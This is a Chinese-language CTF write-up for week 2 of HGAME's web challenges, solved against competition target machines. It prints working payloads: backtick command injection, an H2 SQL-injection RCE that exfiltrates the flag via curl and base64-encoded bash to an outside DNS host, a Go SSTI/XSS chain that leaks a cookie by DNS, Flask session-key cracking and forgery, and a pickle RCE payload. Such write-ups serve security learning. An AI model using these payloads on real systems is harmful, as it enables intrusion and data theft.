Hgame题解(第二星期)
Web
Select More Courses
打开靶机发现是一个登陆页面,根据题目提示下载弱密码字典,通过BP爆破获得用户密码为qwert123
登陆后进入下一个页面,由于学分已满无法选课,所以需要先进行选课扩学分申请,进入该页面提示Race against time!
,需要爆破申请,与 Week 1 类似可以写python脚本进行申请,也可以使用BP的Intruder进行申请,这里采用BP
在经过大量申请之后网站并不会返回其他值,但是再回到选课页面时会发现学分上限提高了,也就可以自主选课了,选课很简单,选完之后就可以拿到flag
What the cow say?
这题考察的命令注入,过滤了直接的命令但是没有过滤反引号,反引号会将其包裹的内容作为命令执⾏后传回给bash
尝试ls /
(左右两边要加反引号),发现能够打印根目录,并且看到了提示:flag_is_here
通过ls /fla""g_is_here
(双引号绕过flag检测),发现下面存在文件:flag_c0w54y
使用ca""t /fla""g_is_here/fla""g_c0w54y
即可打印出文件内容,拿到flag(通过string app.py
还可以拿到网页的pyton源码)
search4member
题目考点:堆叠注入+ H2 database RCE漏洞
打开靶机网站发现是一个查询页面
下载附件,解压后在文件夹中发现Java代码(连接SQL)和数据库代码
使用?keyword=zzz%25' and 1>2 union SELECT 1,2,database();--+
发现数据库名为H2(提示使用的是H2 database),该数据库有个RCE漏洞,原理是可以创建一个数据库函数 SHELLEXEC ,通过该函数可以执行命令
创建SHELLEXEC的payload:
?keyword=zzz%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+
带出flag的payload:
?keyword=zzz%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}');--+
其中Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=解码后的意思是curl cat /flag
.28zrgzsc.requestrepo.com,即拼凑域名后通过DNS带出数据,然后在DNS解析中找到对应部分的值
梅开二度
题目考点:Go语言的SSTI,利用XSS
分析附件源码发现程序使用的是text/template,而Go语言提供了两个模板包。一个是 text/template,另一个是html/template。text/template不对传入数据进行编码,因此该模板并不适合构建 Web 应用程序,而html/template与text/template虽然相同,但增加了HTML编码等安全保护,适用于构建web应用程序
根据提供的源代码var re = regexp.MustCompile(
script|file|on)
,发现会过滤script、file、on
根据if len(tmplStr) > 50
,说明限制payload长度小于50
根据tmplStr = html.EscapeString(tmplStr)
,会转义HTML字符串(也说明了可以通过tmplStr进行注入)
第一步:通过payload ?tmpl={{println 0B101101011011011110001010110}}
测试是否存在SSTI,返回95272022,说明存在SSTI
第二步:通过?tmpl={{.Query
Jay17}}&Jay17=<script>alert('XSS')</script>
发现可以XSS
第三步:继续分析源代码,发现/bot
路由用于获取url参数(前提要求url的值是本地8080端口,此处的url是参数名而不是实际的链接),/flag
路由将cookie设置为flag,前提是来源为本地
思路:首先访问/bot
目录,该目录提取url的值并判断是否为本地访问
(?url=http://127.0.0.1:8080)
然后在/bot
这个路由下访问/flag
,相当于利用/bot
路由跳转了一次来满足/flag
要求的本地访问(通过tmpl的JS代码实现访问),然后带出flag
初始payload模板:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>(这里的部分是用于实现访问的js代码,访问/flag并带出cokkie值中的flag)`</script>
由于无法使用vps反向监听,但是可以利用DNS解析地址获得该值,原理是:
如果攻击者想要泄露信息 “secret”,可能会生成一个如下的DNS查询:
secret.evil.com
在这里,evil.com 是攻击者控制的域名。当这个查询被发送时,DNS解析请求会传递给攻击者的DNS服务器。然后,攻击者可以从DNS查询中提取出 “secret” 数据。
完整payload(JS部分):
async function fetchData() {let x; // 用于存储从网址B获取的响应数据try {// 首先访问网址Aconst responseA = await fetch('http://127.0.0.1:8080/flag');const dataA = await responseA.text();console.log('网址A访问成功', dataA); // 显示网址A的响应数据,如果需要// 然后访问网址B,并将响应数据赋值给变量Xconst responseB = await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}');x = await responseB.text();console.log('网址B访问成功,数据已赋值给变量X');} catch (error) {console.error('访问网址时发生错误:', error);return; // 出错时提前退出函数}// DNS带出try {const url = "http://jay17" + x.substring(6, 46) + ".kgb7xfn7.requestrepo.com/";window.open(url);console.log('已尝试进行DNS带出:', url);} catch (error) {console.error('DNS带出过程中发生错误:', error);}
}// 调用函数
fetchData();
注意点:/bot路由和执行JS代码的两次解码,无法使用document.cookie带出cookie(因为cookie被标记为了HttpOnly,不能通过JS代码访问,只能通过http访问),由于flag里面有其他符号,导致了DNS无法带出数据(因此使用字符串截取.substring()方法,截取flag中花括号内的纯字符)
myflask
题目考点:破解并仿造session + 利用pickle模块实现RCE
打开靶机网页,发现给出了源代码,其中比较关键的是网站session密钥是基于网站开启时间生成的,也就是我们如果知道了网站的启动那一时刻,就能够获得密钥并生成自己的session,然后需要让session的username的值为admin,如此就能通过pickle反序列化执行我们的攻击命令
第一步:获取网站启动时间,由于这是个比赛题目,所以靶机启动时间很容易就能够得到(打开靶机那个时刻),使用以下Python脚本即可获取详细启动时间
import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time# 定义字典文件路径
wordlist_path = "wordlist.txt"# 生成包含所有可能四位数字组合的字典,每个数字前加上前缀"17"//17为具体小时,根据自己的修改
print("Generating wordlist...")
with open(wordlist_path, "w") as f:# 生成并写入数字组合for x in itertools.product('0123456789', repeat=4):f.write('17' + "".join(x) + "\n")# 示例:直接使用硬编码的cookie,实际应用中可能从响应中获取
cookie_tamper = 'eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeBLxA.lexH-lsz7VWzLJ_nNwUcGytUsf0'//替换成自己的session
print("Got cookie: " + cookie_tamper)# 开始破解过程
print("Cracker Started...")
obj = flask_unsign.Cracker(value=cookie_tamper)# 记录破解开始时间
before = time.time()# 使用生成的字典文件尝试破解SECRET_KEY
with wordlist(wordlist_path, parse_lines=False) as iterator:obj.crack(iterator)# 如果找到了SECRET_KEY,显示结果和用时
if obj.secret:secret = obj.secret.decode()print(f"Found SECRET_KEY {secret} in {time.time()-before} seconds")# 使用找到的SECRET_KEY签名一个新的session数据new_session_data = {"time": time.time(), "authorized": True}signed_cookie = flask_unsign.sign(new_session_data, secret=secret)print(f"Signed Cookie: {signed_cookie}")
六位数字xxxxxx代表:
xx(小时)xx(分钟)xx(秒)
第二步:获取session结构,使用以下Python脚本,输入靶机返回的session获得结构,即{'username': 'guest'}
,只要我们知道了结构和密钥,我们就能够仿造出admin的session
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = True# 检查并添加必要的paddingpadding = '=' * ((4 - len(payload) % 4) % 4)payload += padding.encode()try:payload = b64decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of an exception: ' + str(e))if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before decoding: ' + str(e))return session_json_serializer.loads(payload)if __name__ == '__main__':encoded_session = "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZeA6aA.wuZ6XevzyQ6X7oDKzdnrRidAToU".encode()print(decryption(encoded_session))
第三步:根据前面得到的{‘username’: ‘guest’}和密钥171728生成新的session,脚本代码:
from itsdangerous import URLSafeTimedSerializer
# 你的密钥和数据
secret_key = '171728'
data = {'username': 'guest'}# 创建一个序列化器实例
serializer = URLSafeTimedSerializer(secret_key)# 序列化数据
serialized_data = serializer.dumps(data)print(f"Serialized session data: {serialized_data}")
使用以下Python生成反序列化代码,注意pickle版本一致
import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))
然后利用post方法提交该生成代码(注意伪造session):pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu
即可得到flag